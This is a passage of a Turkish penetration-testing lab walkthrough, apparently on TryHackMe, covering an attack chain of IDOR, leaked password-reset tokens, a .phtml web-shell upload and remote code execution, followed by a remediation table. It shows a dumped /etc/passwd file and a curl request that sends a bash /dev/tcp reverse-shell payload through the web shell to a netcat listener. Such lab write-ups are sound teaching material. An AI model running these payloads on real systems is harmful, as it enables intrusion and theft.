Dload Upload Total Spent Left Speed
100 2088 100 2088 0 0 398k 0 --:--:-- --:--:-- --:--:-- 407k
<pre>root:x:0:0:root:/root:/bin/bash
sync:x:4:65534:sync:/bin:/bin/sync
tss:x:106:111:TPM software stack,,,:/var/lib/tpm:/bin/false
pollinate:x:111:1::/var/cache/pollinate:/bin/false
ubuntu:x:1000:1000:Ubuntu:/home/ubuntu:/bin/bash
lxd:x:998:100::/var/snap/lxd/common/lxd:/bin/false
dhcpcd:x:114:65534:DHCP Client Daemon,,,:/usr/lib/dhcpcd:/bin/false
mysql:x:115:123:MySQL Server,,,:/nonexistent:/bin/false
</pre>
Ters Kabuk Elde Etme (Obtaining a Reverse Shell)
Web shell çalışıyor olsa da sınırlıdır; her komut ayrı bir HTTP isteği olarak gönderilir, etkileşimli bir oturum yoktur ve özel karakterler içeren karmaşık komutları URL parametreleri üzerinden iletmek zor olabilir. Bu yüzden bunu gerçek bir ters kabuk (reverse shell) ile geliştirelim.
Kod:
root@CW-ommah:~# nc -lvnp 4444
listening on [any] 4444 ...
Kod:
root@tryhackme:~# curl "http://10.113.141.24/uploads/documents/shell.phtml?cmd=bash+-c+'bash+-i+>%26+/dev/tcp/10.113.74.142/4444+0>%261'"
Kod:
root@tryhackme:~# nc -lvnp 4444
listening on [any] 4444 ...
Connection received on 10.113.74.142 48268
www-data@example-hostame:/var/www/html/uploads/documents$ whoami
www-data
www-data@example-hostame:/var/www/uploads/documents$
Saldırı Zinciri
Bir adım geri çekilip izlediğimiz tüm yolu inceleyelim. Bir sızma testi raporunda, müşteriye her bir zafiyetin genel ele geçirmeye nasıl katkıda bulunduğunu gösteren tüm zinciri belgeleyersiniz. İşte bizim zincirimiz:
- Keşif (Enumeration): Uygulamanın teknoloji yığınını (Apache, PHP, MySQL), dizin yapısını, bir API uç noktasını, parola sıfırlama sayfasını, uploads dizinini ve bir admin panelini keşfettik.
- IDOR : /profile.php?id= parametresi ve /api/user?id= endpoint’i, yöneticinin adı ve e-posta adresi dahil olmak üzere tüm kullanıcıları listelememize izin verdi.
- Zayıf Parola Sıfırlama : Sıfırlama mekanizması token’ları doğrudan HTTP yanıtında gösteriyordu; bu sayede yönetici için token üreterek şifresini değiştirebildik.
- Admin Paneline Erişim : Ele geçirilmiş yönetici hesabını kullanarak admin paneline eriştik ve eksik bir uzantı engelleme listesi bulunan dosya yükleme fonksiyonu keşfettik.
- Uzaktan Kod Çalıştırma : Filtreyi aşmak için .phtml uzantısını kullanarak bir PHP web shell yükledik. Bu bize sunucu üzerinde komut çalıştırma ve tam ters kabuk (reverse shell) elde etme yolunu açtı.
Düzeltme (Remediation) Özeti
Eğer bu sızma testi için bir rapor yazıyor olsaydınız, her bir bulguya yönelik aşağıdaki düzeltme önerilerini sunardınız:| Zafiyet | Önem Derecesi | Düzeltme (Remediation) |
|---|---|---|
| Kullanıcı profilleri ve API üzerinde IDOR | Yüksek | Her istekte sunucu taraflı yetkilendirme kontrolleri uygulayın. Kimliği doğrulanmış kullanıcının talep edilen kaynağa erişim izni olup olmadığını doğrulayın. |
| Parola sıfırlama token’ının yanıtta açığa çıkması | Kritik | Sıfırlama token’larını yalnızca e-posta üzerinden gönderin. Sayfada sadece genel bir onay mesajı gösterin. En az 32 karakter uzunluğunda kriptografik olarak rastgele token’lar kullanın. |
| Eksik dosya uzantısı kara listesi | Kritik | Kara liste (blocklist) yerine izin listesi (allowlist) kullanın. Sadece belirli ve beklenen dosya uzantılarına izin verin. Uzantıya ek olarak dosya içeriğini (MIME tipi) doğrulayın. Yüklenen dosyaları web kök dizininin dışında saklayın. |
| API uç noktası ifşası | Orta | API indeks uç noktasını kaldırın veya yalnızca kimliği doğrulanmış yöneticilere erişilebilir hale getirin. Dahili route yapısını kimliği doğrulanmamış kullanıcılara açmayın. |
Okuduğunuz için teşekkür ederim

















